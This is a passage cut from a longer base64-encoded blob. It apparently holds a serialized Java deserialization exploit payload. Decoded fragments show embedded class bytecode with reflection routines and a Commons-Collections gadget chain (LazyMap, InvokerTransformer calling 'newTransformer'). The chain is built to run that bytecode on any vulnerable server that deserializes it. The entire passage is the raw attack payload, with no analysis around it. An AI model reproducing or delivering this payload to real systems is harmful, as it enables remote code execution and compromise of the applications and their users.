lYWQBAAUoW0IpSQwBcQFyCgFpAXMBAAV3cml0ZQEAByhbQklJKVYMAXUBdgoBZQF3AQALdG9CeXRlQXJyYXkBAAQoKVtCDAF5AXoKAWUBewEAA29iagEACWZpZWxkTmFtZQEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEABGdldEYBAD8oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAYEBggoAAgGDAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAYUKAYYA2AoBhgB6AQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uBwGJAQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DAGMAY0KAIEBjgEADWdldFN1cGVyY2xhc3MMAZAAfQoAgQGRCgGKABcBAAx0YXJnZXRPYmplY3QBAAptZXRob2ROYW1lAQAHbWV0aG9kcwEAG1tMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAApwYXJhbUNsYXp6AQASW0xqYXZhL2xhbmcvQ2xhc3M7AQAFcGFyYW0BABNbTGphdmEvbGFuZy9PYmplY3Q7AQAGbWV0aG9kAQAJdGVtcENsYXNzBwGXAQASZ2V0RGVjbGFyZWRNZXRob2RzAQAdKClbTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsMAaEBogoAgQGjCgDVAGIBAAZlcXVhbHMMAaYAhgoAEgGnAQARZ2V0UGFyYW1ldGVyVHlwZXMBABQoKVtMamF2YS9sYW5nL0NsYXNzOwwBqQGqCgDVAasKAKEAFwEACmdldE1lc3NhZ2UMAa4ABgoAnwGvCgCaABcBAAg8Y2xpbml0PgoAAgAsACEAAgAEAAAAAAAQAAEABQAGAAEABwAAAA8AAQABAAAAAxIJsAAAAAAAAQAKAAYAAQAHAAAAEAABAAEAAAAEEwAMsAAAAAAAAQANAAYAAgAOAAAABAABABAABwAAABcAAwABAAAAC7sAElkTABS3ABiwAAAAAAABABUAGQABAAcAAADYAAMABQAAADYqtwAtKrYAMUwruQA1AQBNLLkAOQEAmQAbLLkAPQEATiottwBBOgQqLRkEtgBFp//ipwAETLEAAQAEADEANAAbAAQAHAAAACYACQAAACwABAAuAAkALwAgADAAJwAxAC4AMgAxADUANAAzADUAOAAdAAAAKgAEACcABwAeAB8ABAAgAA4AIAAfAAMACQAoACEAIgABAAAANgAjACQAAAAlAAAADAABAAkAKAAhACYAAQArAAAAGgAE/wAQAAMHAAIHACgHACoAAPkAIEIHABsAAAEALgAvAAMABwAAAtgAAwAOAAABebsAWVm3AFpMElUSXLgAYMAAUcAAUU0BTiw6BBkEvjYFAzYGFQYVBaIBQRkEFQYyOgcZB7YAYxJltgBpmQCzLccArxkHEmu4AG4ScLgAbhJxuABuwABXOggZCLYAdbkAeAEAOgkZCbkAOQEAmQCAGQm5AD0BADoKGQgZCrYAexJxuABuwABXOgsZC7YAdbkAeAEAOgwZDLkAOQEAmQBNGQy5AD0BADoNGQsZDbYAe04txgAaLbYAf7YAghKEtgBpmQALKy25AIgCAFctxgAaLbYAf7YAghKKtgBpmQALKy25AIgCAFen/6+n/3ynAHcZB7YAjsYAbxkHtgCOtgB/tgCREpO2AGmaABYZB7YAjrYAf7YAkRKVtgBpmQBJGQe2AI4Sl7gAbhKYuABuTi3GABottgB/tgCCEoS2AGmZAAsrLbkAiAIAVy3GABottgB/tgCCEoq2AGmZAAsrLbkAiAIAV4QGAaf+vqcADzoEuwCaWRkEtwCdvyuwAAEAGAFoAWsAGwAEABwAAAByABwAAAA7AAgAPAAWAD0AGAA/ADEAQQBCAEIAWABFAHcARgCIAEkApwBKAK8ASwDCAEwAygBOAN0ATwDlAFAA6ABRAOsAUgDuAFQBHABVASwAVgE/AFcBRwBYAVoAWQFiAD8BaABeAWsAXAFtAF0BdwBfAB0AAABmAAoApwA+AEYAHwANAIgAYABHAEgACwB3AHEASQAfAAoAWACTAEoASAAIADEBMQBLAEwABwFtAAoATQBOAAQAAAF5ACMAJAAAAAgBcQAhACIAAQAWAWMATwBQAAIAGAFhACAAHwADACUAAAAMAAEACAFxACEAJgABACsAAABPAA7/ACMABwcAAgcAKAcAUQcAUwcAUQEBAAD+AEAHAFUHAFcHACr+AC8HAFMHAFcHACr8ADUHAFP6ABr4AAL5AAICLSr6ABr4AAVCBwAbCwAOAAAACAADAJ8AoQCjAKQAAAACAKUAAgA+AD8AAQAHAAABbQAGAAgAAACEAU24ALW2AI5OLccACyu2AH+2ALhOLSq2ALq2AL5NpwBkOgQqtgDAuADEuADIOgUSsRLJBr0AgVkDEspTWQSyAM9TWQWyAM9TtgDTOgYZBgS2ANkZBi0GvQBTWQMZBVNZBAO4AN1TWQUZBb64AN1TtgDhwACBOgcZB7YA5E2nAAU6BSywAAIAFQAeACEAGwAjAH0AgACnAAMAHAAAAD4ADwAAAGUAAgBmAAkAZwANAGgAFQBrAB4AdQAhAGwAIwBuAC8AbwBNAHAAUwBxAHcAcgB9AHQAgABzAIIAdgAdAAAAUgAIAC8ATgCoAKkABQBNADAAqgCrAAYAdwAGAKwArQAHACMAXwBNAE4ABAAAAIQAIwAkAAAAAACEACAAHwABAAIAggAeAB8AAgAJAHsArgCvAAMAKwAAACsABP0AFQcAUwcAsUsHABv/AF4ABQcAAgcAUwcAUwcAsQcAGwABBwCn+gABAAEA5QDmAAEABwAAAG0AAwADAAAAGisS7LYAaZkAEisS7LYA8D0rHARgtgD0sCuwAAAAAwAcAAAAEgAEAAAAegAJAHsAEAB8ABgAfgAdAAAAIAADABAACADnAOgAAgAAABoAIwAkAAAAAAAaAOkA6gABACsAAAADAAEYAAEAQgBDAAIABwAABFEABwALAAAB5iq2AQROKrYAujoEKhkEtgEGOgUrEwEIBL0AgVkDEhJTBL0AU1kDGQVTuAELxgAEsacABToIEwENuAEQtgDkOgYTARK4ARC2AOQ6B6cAOjoIEwEUuAEQtgDkOgYTARa4ARC2AOQ6B6cAHzoJEwEUBC24ARm2AOQ6BhMBFgQtuAEZtgDkOgcZBhMBGwS9AIFZAxISUwS9AFNZAxkFU7gBC1cZBhMBHQS9AIFZAxISUwS9AFNZAxkEU7gBC1crEwEfBL0AgVkDGQa2AH9TBL0AU1kDGQZTuAELVxkHEwEbBL0AgVkDEhJTBL0AU1kDGQVTuAELVxkHEwEhBL0AgVkDEhJTBL0AU1kDEwEjU7gBC1cZBxMBJQS9AIFZAxISUwS9AFNZAyq2ASdTuAELVxMBKbgBELYBLToIpwAvOgkZBxMBLwS9AIFZAxISUwS9AFNZAyq2ASdTuAELVxMBKQQtuAEZtgEtOggrEwExBL0AgVkDGQe2AH9TBL0AU1kDGQdTuAELV6cAIjoJKxMBMwS9AIFZAxkHtgB/UwS9AFNZAxkHU7gBC1cZCAMyBLYBNhkIAzIFvQBTWQMrU1kEGQZTtgE5OgkrEwE6uABuwAE8OgoZChkFGQm5AUADAFenAAo6CBkItgFDsQAGABMALwAzABsANQBLAE4AGwBQAGYAaQAbAQ8BNwE6ABsBZgGDAYYAGwCFAdsB3gAbAAQAHAAAAKIAKAAAAIQABQCFAAsAhgATAIwALwCNADAAkAAzAI8ANQCUAEAAlQBLAKAATgCWAFAAmQBbAJoAZgCfAGkAmwBrAJ0AeACeAIUAogCgAKMAuwCkANgApQDzAKYBDwCpASwAqgE3AK8BOgCrATwArQFZAK4BZgCyAYMAtQGGALMBiAC0AaUAtwGtALgBwwC5Ac8AugHbAL0B3gC7AeAAvAHlAL4AHQAAANQAFQBAAA4A9QAfAAYASwADAPYAHwAHAFsADgD1AB8ABgBmAAMA9gAfAAcAawAaAE0ATgAJAFAANQD3AE4ACAE3AAMA+AD5AAgBPAAqAE0ATgAJAYgAHQBNAE4ACQFmAHUA+AD5AAgBwwAYAPoAHwAJAc8ADAD7APwACgHgAAUATQBOAAgAAAHmACMAJAAAAAAB5gAgAB8AAQAAAeYAHgAfAAIABQHhAP0ArwADAAsB2wD+AOoABAATAdMA/wDqAAUAeAFuAPUAHwAGAIUBYQD2AB8ABwAlAAAAFgACATcAAwD4AQAACAFmAHUA+AEAAAgAKwAAAIsADP4AMAcAsQcAEgcAEkIHABsBWAcAG/8AGgAJBwACBwBTBwBTBwCxBwASBwASAAAHABsAAQcAG/8AGwAIBwACBwBTBwBTBwCxBwASBwASBwBTBwBTAAD3ALQHABv8ACsHAQFfBwAbHv8AOAAIBwACBwBTBwBTBwCxBwASBwASBwBTBwBTAAEHABsGAA4AAAAMAAUAowChAJ8BRQFHAAEBAgCMAAIABwAAALIAAgAEAAAAOBJVEly4AGDAAFHAAFFMAU0DPh0rvqIAISsdMrYAYxJltgBpmQANKx0ytgCOTacACYQDAaf/3yywAAAAAwAcAAAAIgAIAAAAwQAOAMIAEADDABgAxQAmAMYALQDHADAAwwA2AMoAHQAAACoABAASACQBSADoAAMAAAA4ACMAJAAAAA4AKgBPAFAAAQAQACgA/QCvAAIAKwAAABAAA/4AEgcAUQcAsQEd+gAFAA4AAAAIAAMAoQCjAJ8ACADBAMIAAgAHAAABBQAGAAQAAABvEwFPuAEQTCsTAVEEvQCBWQMSElO2AVQrtgDkBL0AU1kDKlO2AOHAAMrAAMqwTRMBVrgBEEwrEwFYA70AgbYBVAEDvQBTtgDhTi22AH8TAVoEvQCBWQMSElO2AVQtBL0AU1kDKlO2AOHAAMrAAMqwAAEAAAAsAC0AGwAEABwAAAAaAAYAAADQAAcA0QAtANIALgDTADUA1ABJANUAHQAAADQABQAHACYBSQCtAAEASQAmAUoAHwADAC4AQQFLAE4AAgAAAG8BTADqAAAANQA6AUkArQABACUAAAAWAAIABwAmAUkBTQABADUAOgFJAU0AAQArAAAABgABbQcAGwAOAAAACgAEAUUAoQCjAJ8ACQDFAMYAAgAHAAAA1AAEAAYAAAA+uwFlWbcBaky7AWdZKrcBbU27AWlZLLcBcE4RAQC8CDoELRkEtgF0WTYFmwAPKxkEAxUFtgF4p//rK7YBfLAAAAADABwAAAAeAAcAAADaAAgA2wARANwAGgDdACEA3wAtAOAAOQDiAB0AAAA+AAYAAAA+AVsAqQAAAAgANgFcAV0AAQARAC0BXgFfAAIAGgAkAWABYQADACEAHQFiAKkABAAqABQBYwDoAAUAKwAAABwAAv8AIQAFBwDKBwFlBwFnBwFpBwDKAAD8ABcBAA4AAAAEAAEAEAAIAGwAXgACAAcAAABXAAIAAwAAABEqK7gBhE0sBLYBhywqtgGIsAAAAAIAHAAAAA4AAwAAAOYABgDnAAsA6AAdAAAAIAADAAAAEQF9AB8AAAAAABEBfgDqAAEABgALAX8BgAACAA4AAAAEAAEAGwAIAYEBggACAAcAAADHAAMABAAAACgqtgB/TSzGABksK7YBj04tBLYBhy2wTiy2AZJNp//puwGKWSu3AZO/AAEACQAVABYBigAEABwAAAAmAAkAAADsAAUA7QAJAO8ADwDwABQA8QAWAPIAFwDzABwA9AAfAPYAHQAAADQABQAPAAcBfwGAAAMAFwAFAE0BiwADAAAAKAF9AB8AAAAAACgBfgDqAAEABQAjAKwArQACACUAAAAMAAEABQAjAKwBTQACACsAAAANAAP8AAUHAIFQBwGKCAAOAAAABAABAYoAKABdAF4AAgAHAAAAQgAEAAIAAAAOKisDvQCBA70AU7gBC7AAAAACABwAAAAGAAEAAAD6AB0AAAAWAAIAAAAOAZQAHwAAAAAADgGVAOoAAQAOAAAACAADAKEAnwCjACkAXQEJAAIABwAAAhcAAwAJAAAAyirBAIGZAAoqwACBpwAHKrYAfzoEAToFGQQ6BhkFxwBkGQbGAF8sxwBDGQa2AaQ6BwM2CBUIGQe+ogAuGQcVCDK2AaUrtgGomQAZGQcVCDK2Aay+mgANGQcVCDI6BacACYQIAaf/0KcADBkGKyy2ANM6Baf/qToHGQa2AZI6Bqf/nRkFxwAMuwChWSu3Aa2/GQUEtgDZKsEAgZkAGhkFAS22AOGwOge7AJpZGQe2AbC3AbG/GQUqLbYA4bA6B7sAmlkZB7YBsLcBsb8AAwAlAHIAdQChAJwAowCkAJ8AswC6ALsAnwADABwAAABuABsAAAD+ABQA/wAXAQEAGwECACUBBAApAQYAMAEHADsBCABWAQkAXQEKAGABBwBmAQ0AaQEOAHIBEgB1ARAAdwERAH4BEgCBARQAhgEVAI8BFwCVARgAnAEaAKQBGwCmARwAswEgALsBIQC9ASIAHQAAAHoADAAzADMBSADoAAgAMAA2AZYBlwAHAHcABwBNAZgABwCmAA0ATQGZAAcAvQANAE0BmQAHAAAAygF9AB8AAAAAAMoBlQDqAAEAAADKAZoBmwACAAAAygGcAZ0AAwAUALYArACtAAQAFwCzAZ4AqwAFABsArwGfAK0ABgArAAAALwAODkMHAIH+AAgHAIEHANUHAIH9ABcHAaABLPkABQIIQgcAoQsNVAcAnw5HBwCfAA4AAAAIAAMAoQCjAJ8ACAGyABkAAQAHAAAAJQACAAAAAAAJuwACWbcBs1exAAAAAQAcAAAACgACAAAAKQAIACoAAHVxAH4ADgAAAPLK/rq+AAAAMQATAQADRm9vBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBAAhGb28uamF2YQEAFGphdmEvaW8vU2VyaWFsaXphYmxlBwAHAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoFceZp7jxtRxgBAA1Db25zdGFudFZhbHVlAQAGPGluaXQ+AQADKClWDAAOAA8KAAQAEAEABENvZGUAIQACAAQAAQAIAAEAGgAJAAoAAQANAAAAAgALAAEAAQAOAA8AAQASAAAAEQABAAEAAAAFKrcAEbEAAAAAAAEABQAAAAIABnB0AAFQcHcBAHhzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAJWwALaVBhcmFtVHlwZXNxAH4ACHhwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAHQADm5ld1RyYW5zZm9ybWVydXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAAAc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=